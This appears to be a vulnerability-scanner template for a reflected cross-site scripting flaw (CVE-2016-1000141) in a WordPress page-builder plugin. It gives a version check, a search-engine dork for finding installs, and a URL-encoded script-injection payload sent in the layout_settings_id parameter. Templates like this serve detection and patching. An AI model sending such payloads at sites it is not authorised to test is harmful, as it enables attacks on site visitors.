WordPress Page Layout builder v1.9.3 - Cross-Site Scripting

id: CVE-2016-1000141

info:
  name: WordPress Page Layout builder v1.9.3 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress plugin Page-layout-builder v1.9.3 contains a cross-site scripting vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: Upgrade to version 2.0 or higher.
  reference:
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=358
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000141
    - https://wordpress.org/plugins/page-layout-builder
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000141
    cwe-id: CWE-79
    epss-score: 0.03462
    epss-percentile: 0.88665
    cpe: cpe:2.3:a:page-layout-builder_project:page-layout-builder:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "page-layout-builder_project"
    product: "page-layout-builder"
    framework: wordpress
    google-query: "inurl:\"/wp-content/plugins/page-layout-builder\""
  tags: cve,cve2016,wordpress,xss,wp-plugin,page-layout-builder_project,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/page-layout-builder/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Page Layout Builder ='

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/page-layout-builder/includes/layout-settings.php?layout_settings_id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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